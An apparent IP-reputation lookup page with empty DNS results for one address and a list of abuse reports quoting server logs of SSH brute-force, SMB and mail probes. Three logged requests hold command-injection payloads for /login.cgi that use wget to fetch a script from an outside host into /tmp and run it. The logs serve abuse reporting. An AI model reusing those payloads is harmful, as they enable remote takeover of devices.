Must be a valid IPv4 or IPv6 ip address, e.g. 127.0.0.1 or 2001:DB8:0:0:8:800:200C:417A
Basic Info

City: unknown

Region: unknown

Country: None

Internet Service Provider: unknown

Hostname: unknown

Organization: unknown

Usage Type: unknown

Comments:
No discussion about this IP yet. Click above link to make one.
Comments on same subnet:
No discussion about this subnet yet..
Whois info:
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Dig info:
; <<>> DiG 9.10.3-P4-Ubuntu <<>> 104.21.5.57
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 12476
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;104.21.5.57.			IN	A

;; AUTHORITY SECTION:
.			455	IN	SOA	a.root-servers.net. nstld.verisign-grs.com. 2022022000 1800 900 604800 86400

;; Query time: 65 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Sun Feb 20 19:34:07 CST 2022
;; MSG SIZE  rcvd: 104
Host info
Host 57.5.21.104.in-addr.arpa. not found: 3(NXDOMAIN)
Nslookup info:
Server:		183.60.83.19
Address:	183.60.83.19#53

** server can't find 57.5.21.104.in-addr.arpa: NXDOMAIN
Related IP info:
Related comments:
IP Type Details Datetime
200.205.141.57 attackbotsspam
Unauthorized connection attempt from IP address 200.205.141.57 on Port 445(SMB)
2019-06-28 20:15:07
220.247.175.58 attack
Invalid user usuario from 220.247.175.58 port 34429
2019-06-28 20:19:50
191.53.199.144 attackbots
Jun 28 00:06:38 mailman dovecot: imap-login: Disconnected (auth failed, 1 attempts): user=, method=PLAIN, rip=191.53.199.144, lip=[munged], TLS
2019-06-28 19:54:12
180.97.80.55 attackspam
Jun 28 08:04:09 vps200512 sshd\[15807\]: Invalid user la from 180.97.80.55
Jun 28 08:04:09 vps200512 sshd\[15807\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=180.97.80.55
Jun 28 08:04:11 vps200512 sshd\[15807\]: Failed password for invalid user la from 180.97.80.55 port 37234 ssh2
Jun 28 08:06:28 vps200512 sshd\[15847\]: Invalid user iy from 180.97.80.55
Jun 28 08:06:28 vps200512 sshd\[15847\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=180.97.80.55
2019-06-28 20:06:39
106.52.83.23 attack
1 attack on wget probes like:
106.52.83.23 - - [27/Jun/2019:22:43:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.248.93.159/sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$ HTTP/1.1" 400 11
2019-06-28 20:12:46
35.189.237.181 attackspam
Jun 28 13:18:44 lnxmail61 sshd[23243]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=35.189.237.181
Jun 28 13:18:44 lnxmail61 sshd[23243]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=35.189.237.181
2019-06-28 19:45:20
1.55.6.214 attackspambots
1 attack on wget probes like:
1.55.6.214 - - [27/Jun/2019:11:27:40 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://103.83.157.41/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 11
2019-06-28 20:04:33
14.235.195.85 attackbotsspam
Unauthorized connection attempt from IP address 14.235.195.85 on Port 445(SMB)
2019-06-28 19:57:38
14.232.77.158 attackbots
2019-06-28T06:49:21.495748lin-mail-mx2.4s-zg.intra x@x
2019-06-28T06:49:21.510104lin-mail-mx2.4s-zg.intra x@x
2019-06-28T06:49:21.523507lin-mail-mx2.4s-zg.intra x@x

........
-----------------------------------------------
https://www.blocklist.de/en/view.html?ip=14.232.77.158
2019-06-28 19:44:35
79.103.67.56 attackbotsspam
79.103.67.56 - - [28/Jun/2019:07:51:05 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://206.189.170.165/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 166 "-" "ELEMENT/2.0"
...
2019-06-28 20:11:25
113.168.38.188 attackbots
Unauthorized connection attempt from IP address 113.168.38.188 on Port 445(SMB)
2019-06-28 20:00:34
142.93.208.158 attackspambots
2019-06-28T11:53:29.981412centos sshd\[20752\]: Invalid user usuario from 142.93.208.158 port 56176
2019-06-28T11:53:29.987575centos sshd\[20752\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=142.93.208.158
2019-06-28T11:53:31.884223centos sshd\[20752\]: Failed password for invalid user usuario from 142.93.208.158 port 56176 ssh2
2019-06-28 19:36:15
123.21.25.223 attackspam
Jun 28 06:48:09 hal postfix/smtpd[9599]: connect from unknown[123.21.25.223]
Jun 28 06:48:11 hal postgrey[635]: action=greylist, reason=new, client_name=unknown, client_address=123.21.25.223, sender=x@x recipient=x@x
Jun 28 06:48:11 hal postgrey[635]: action=greylist, reason=new, client_name=unknown, client_address=123.21.25.223, sender=x@x recipient=x@x
Jun 28 06:48:11 hal postgrey[635]: action=greylist, reason=new, client_name=unknown, client_address=123.21.25.223, sender=x@x recipient=x@x
Jun 28 06:48:11 hal postgrey[635]: action=greylist, reason=new, client_name=unknown, client_address=123.21.25.223, sender=x@x recipient=x@x
Jun 28 06:48:12 hal postgrey[635]: action=greylist, reason=new, client_name=unknown, client_address=123.21.25.223, sender=x@x recipient=x@x
Jun 28 06:48:12 hal postgrey[635]: action=pass, reason=recipient whhostnameelist, client_name=unknown, client_address=123.21.25.223, sender=x@x recipient=x@x
Jun 28 06:48:12 hal postgrey[635]: action=greylis........
-------------------------------
2019-06-28 19:35:00
5.188.153.205 attack
2019-06-28 06:52:10 H=([5.188.153.205]) [5.188.153.205]:22641 I=[10.100.18.20]:25 sender verify fail for : Unrouteable address
2019-06-28 x@x
2019-06-28 06:52:10 unexpected disconnection while reading SMTP command from ([5.188.153.205]) [5.188.153.205]:22641 I=[10.100.18.20]:25 (error: Connection reset by peer)


........
-----------------------------------------------
https://www.blocklist.de/en/view.html?ip=5.188.153.205
2019-06-28 20:01:05
74.96.157.227 attackspambots
Jun 25 04:52:34 server6 sshd[2775]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=pool-74-96-157-227.washdc.fios.verizon.net
Jun 25 04:52:36 server6 sshd[2775]: Failed password for invalid user connor from 74.96.157.227 port 37723 ssh2
Jun 25 04:52:36 server6 sshd[2775]: Received disconnect from 74.96.157.227: 11: Bye Bye [preauth]
Jun 25 04:55:39 server6 sshd[4823]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=pool-74-96-157-227.washdc.fios.verizon.net
Jun 25 04:55:41 server6 sshd[4823]: Failed password for invalid user eddy from 74.96.157.227 port 50652 ssh2
Jun 25 04:55:41 server6 sshd[4823]: Received disconnect from 74.96.157.227: 11: Bye Bye [preauth]
Jun 25 04:57:59 server6 sshd[6265]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=pool-74-96-157-227.washdc.fios.verizon.net
Jun 25 04:58:01 server6 sshd[6265]: Failed password for invalid use........
-------------------------------
2019-06-28 20:14:39

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